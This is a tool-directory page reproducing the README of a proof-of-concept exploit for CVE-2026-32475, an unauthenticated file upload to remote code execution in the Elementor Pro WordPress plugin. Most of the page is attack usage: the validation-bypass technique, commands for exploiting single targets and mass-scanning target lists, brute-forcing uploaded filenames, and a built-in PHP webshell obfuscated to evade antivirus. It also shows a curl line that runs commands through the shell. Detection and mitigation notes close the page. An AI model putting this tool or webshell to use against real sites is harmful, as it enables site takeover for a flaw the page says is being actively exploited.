Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-32475 — Proof-of-concept exploit for CVE-2026-32475, an unauthenticated arbitrary file upload in Elementor Pro leading to remote code execution. Includes mass scanning, brute-force filename confirmation, and a built-in obfuscated webshell for authorized testing. | Kitploit
Tools/GitHubGitHub/4minx/cve-2026-32475
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHub4minx/cve-2026-32475

CVE-2026-32475

Proof-of-concept exploit for CVE-2026-32475, an unauthenticated arbitrary file upload in Elementor Pro leading to remote code execution. Includes mass scanning, brute-force filename confirmation, and a built-in obfuscated webshell for authorized testing.

View Repository
6h 1m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-32475 PoC : Elementor Pro Unauthenticated Arbitrary File Upload to RCE

Elementor Pro Pre-Authentication Arbitrary File Upload Leading to Remote Code Execution

Proof-of-concept for CVE-2026-32475, a critical unauthenticated arbitrary file upload in Elementor Pro's Forms module that ends in remote code execution. The PoC submits two file parts for the same upload field — an empty first entry (blank filename, triggering UPLOAD_ERR_NO_FILE) followed by the payload. The validation() loop exits early on the empty entry via return while process_field() skips it via continue, so the payload is never extension-checked and lands in a public directory with a .php extension. PoCs testing the corrected behavior, the same request after patching, must be dropped by the extension check.

Note: This PoC is for authorized security testing and research only. CVE-2026-32475 is being actively exploited in the wild, and Wordfence has blocked 190,000+ attempts since the August 19 disclosure. You are responsible for complying with all applicable laws and obtaining written authorization before testing any system.


Vulnerability Information

  • CVE: CVE-2026-32475
  • Type: CWE-434 Unrestricted Upload of File with Dangerous Type
  • CVSS 3.1: 9.0 (Critical, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Authentication: Unauthenticated (pre-auth, remote, low attack complexity)
  • Active exploitation: Yes (same-day weaponization; 190,000+ blocked attempts Aug 19–23)
  • Affected software: Elementor Pro (commercial WordPress plugin), versions <= 4.2.1
  • Fixed in: 4.2.2 (released 19 August 2026)
  • Reported by: Tin Pham (TF1T) via Patchstack; Austin Ginder via Wordfence ($15,600 bounty)
  • Disclosure: 19 August 2026

Requirements

  • Python 3.8+ with the requests library
  • Target: a WordPress site with Elementor Pro <= 4.2.1 and a published form containing a File Upload field

Install dependencies:

root@kitploit:~
pip install requests

Usage

Single Target

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6

Confirm Execution (brute-force the uniqid() filename)

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3

Upload the Built-in Obfuscated WebShell

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute

--shell uploads a minimal obfuscated PHP webshell (keywords built at runtime via chr()/implode/strrev, command parameter vapcom) so simple static signatures and AV real-time scans on disk do not flag it. The stored filename is still random (<uniqid()>.php); combine with --brute, which probes ?vapcom=echo <marker> and reports exec confirmed: <name>.php. Manual use once located:

root@kitploit:~
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"

Mass Scan

root@kitploit:~
python cve-2026-32475-poc.py -T targets.txt -o results.csv

Custom Payload

root@kitploit:~
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php

Options

ArgumentDescriptionDefault
-t, --targetSingle target URL-
-T, --targetsFile with target URLs, one per line-
-o, --outputResult file (CSV: target, status, form_id, post_id, field, note)-
--timeoutRequest timeout in seconds15
--post-idOverride detected post_idauto
--form-idOverride detected form_id (Elementor widget id)auto
--fieldOverride detected upload field custom_idauto
--payloadPath to a custom payload file (default: benign PHP token file)benign token
--shellUpload the built-in obfuscated PHP webshell (<?php ... system($_GET) ?> built at runtime, param vapcom) instead of the tokenoff
--bruteAfter a successful upload, brute-force the uniqid() filename to confirm code executionoff
--seconds-windowSeconds before/after the server Date header to brute-force5

Example Output

root@kitploit:~
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
    response    : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
    uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'

[*] done: 1/1 vulnerable

A success:true on the AJAX response means the payload was accepted without being extension-checked. Step 4 with --brute (a 200 on the guessed .php file containing the marker) confirms server-side PHP execution — i.e. full RCE.

Result statuses: vulnerable | patched | unknown | error

  • vulnerable — web server returned "success":true; the payload skipped the extension check
  • patched — the upload was rejected with a file-type error (extension check ran)
  • unknown — HTTP succeeded but the response was not success:true (wrong IDs or unexpected state)
  • error — request/parse failure (timeout, non-200, form not found)

Payload Behavior & WebShell Notes

  • The stored filename is always <uniqid()>.<attacker_extension> — the submitted basename is discarded, so double-extension/null-byte tricks are irrelevant; only the extension check matters, and it is the thing that breaks.
  • Elementor ships an .htaccess in wp-content/uploads/elementor/forms/ that sets Content-Disposition: attachment on all files. This does not stop execution — PHP still runs server-side and the downloaded response is the executed output. To render a shell in-browser in a lab, disable that .htaccess; in the real world treat it as cosmetic only and rely on server-level PHP blocking.
  • uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), so the name is time-derived (Unix seconds, low 32 bits, + microseconds). The brute step brackets the second observed in the submit response's Date header and, for .php files, requests ?vapcom=echo <marker> (or ?c= for the token/--payload file) so a marker-bearing response is actual server-side PHP execution, not just a file read. Worst case is ~1M microsecond guesses per second, so tighten --seconds-window to keep runs short.

Detecting / Verifying a Compromise

root@kitploit:~
# PHP files that should not exist in the uploads dir
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
  • Treat any .php/.phtml/.phar/.hta file under the forms directory as evidence of compromise.
  • Search access logs for GET under /wp-content/uploads/elementor/forms/ and POST carrying elementor_pro_forms_send_form.
  • If a shell executed, look for rogue admins, mu-plugins, modified core/theme files, and unexpected WP-Cron events; prefer restoring a known-good backup over cleaning in place.

Mitigations

  • Upgrade to Elementor Pro 4.2.2 or newer. Elementor Pro updates are delivered by Elementor's own service — a lapsed licence will not offer the update.
  • If you cannot patch immediately, block PHP execution inside the uploads directory at the web-server layer (nginx location rule or Apache <FilesMatch>). This is the durable fix and degrades this and future upload bugs to "disk wasted".
  • Enumerate published forms; restrict accepted file types; remove unused upload fields.
  • After upgrading: scan the uploads directory, review admin accounts, and audit logs for the action elementor_pro_forms_send_form.

References

  • Patchstack — Critical Unauthenticated File Upload to RCE in Elementor Pro
  • Wordfence — Attackers Actively Exploiting Critical Vulnerability in Elementor Pro
  • MagicWP — CVE-2026-32475: Elementor Pro Arbitrary File Upload
  • NVD — CVE-2026-32475
  • dev.to — Active Exploitation of PHP Web Shell via Array Validation Bypass
  • deniz.in — Elementor Pro RCE: unvalidated file uploads fixed in version 4.2.2
Download Tool